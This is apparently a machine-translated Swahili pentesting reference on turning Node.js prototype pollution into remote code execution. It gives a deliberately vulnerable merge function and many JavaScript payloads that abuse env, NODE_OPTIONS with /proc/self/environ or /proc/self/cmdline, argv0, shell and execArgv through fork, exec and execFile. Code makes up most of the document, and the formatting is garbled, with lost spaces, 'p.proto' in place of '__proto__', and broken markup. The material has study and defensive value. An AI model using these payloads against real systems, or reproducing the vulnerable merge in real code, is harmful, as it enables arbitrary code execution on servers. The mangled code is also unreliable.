const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE kupitia env vars
PP2RCE inamaanisha Prototype Pollution to RCE (Remote Code Execution).
Kulingana na hii makala wakati mchakato unapotengenezwa na baadhi ya njia kutoka kwa child_process (kama vile fork au spawn au nyingine) inaita njia normalizeSpawnArguments ambayo ni kifaa cha uchafuzi wa prototype kujenga env vars mpya:
Angalia hiyo nambari unaweza kuona ni iwezekanavyo kuambukiza envPairs tu kwa kuharibusifa .env.
Kuambukiza __proto__
Tafadhali elewa kwamba kutokana na jinsi normalizeSpawnArguments kazi kutoka kwa maktaba ya child_process ya node, wakati kitu kinaitwa ili kuweka variable mpya ya env kwa mchakato unahitaji kuharibu chochote.
Kwa mfano, ikiwa unafanya __proto__.avar="valuevar" mchakato utaanzishwa na var inayoitwa avar yenye thamani valuevar.
Hata hivyo, ili variable ya env iwe ya kwanza unahitaji kuharibusifa ya .env na (kwenye baadhi ya njia) var hiyo itakuwa ya kwanza (kuruhusu shambulio).
Ndiyo maana NODE_OPTIONS haipo ndani ya .env katika shambulio lifuatalo.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Kudhuru constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE kupitia env vars + cmdline
Payload kama hiyo iliyopendekezwa katika makala hii** ina mabadiliko fulani**. Tofauti kuu ni:
Badala ya kuhifadhi payload ya nodejs ndani ya faili /proc/self/environ, inaihifadhi ndani ya argv0 ya /proc/self/cmdline.
Kisha, badala ya kuhitaji kupitia NODE_OPTIONS faili /proc/self/environ, inahitaji /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Mwingiliano wa DNS
Kwa kutumia mizigo ya kufuatilia ifuatayo, niwezekana kutumia NODE_OPTIONS env var ambayo tumekuwa tukijadili awali na kugundua ikiwa imefanya kazi na mwingiliano wa DNS:
Katika sehemu hii tutachambua kila kazi kutoka child_process ili kutekeleza namna ya kuendesha kanuni na kuona ikiwa tunaweza kutumia mbinu yoyote kufanya kazi hiyo kutekeleza kanuni:
exec uchunguzi wa udhaifu
```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = exec('something');
// stdin trick - not working // Not using stdin
// Windows // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = exec('something');
</details>
<details>
<summary><strong><code>execFile</code> kutumia</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');
// stdin trick - not working
// Not using stdin
// Windows - not working
Kwa execFile kufanya kazi lazima ITEKELEZE node ili NODE_OPTIONS ifanye kazi.
Ikiwa haitekelezi node, unahitaji kugundua jinsi unavyoweza kubadilisha utekelezaji wa chochote kinachotekelezwa kwa kutumia mazingira ya mazingira na kuziweka.
Mbinu nyinginehufanya kazi bila mahitaji haya kwa sababu ni inawezekana kubadilishakinachotekelezwa kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua .shell, hautachafua kinachotekelezwa).
// environ trick - working// Working after kEmptyObject (fix)const { fork } =require('child_process');b = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =fork('something');// cmdline trick - working// Working after kEmptyObject (fix)const { fork } =require('child_process');p = {}p.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =fork('something');// stdin trick - not working// Not using stdin// execArgv trick - working// Only the fork method has this attribute// Working after kEmptyObject (fix)const { fork } =require('child_process');b = {}b.__proto__.execPath ="/bin/sh"b.__proto__.argv0 ="/bin/sh"b.__proto__.execArgv = ["-c","touch /tmp/fork-execArgv"]var proc =fork('./a_file.js');// Windows// Working after kEmptyObject (fix)const { fork } =require('child_process');b = {}b.__proto__.execPath ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =fork('./a_file.js');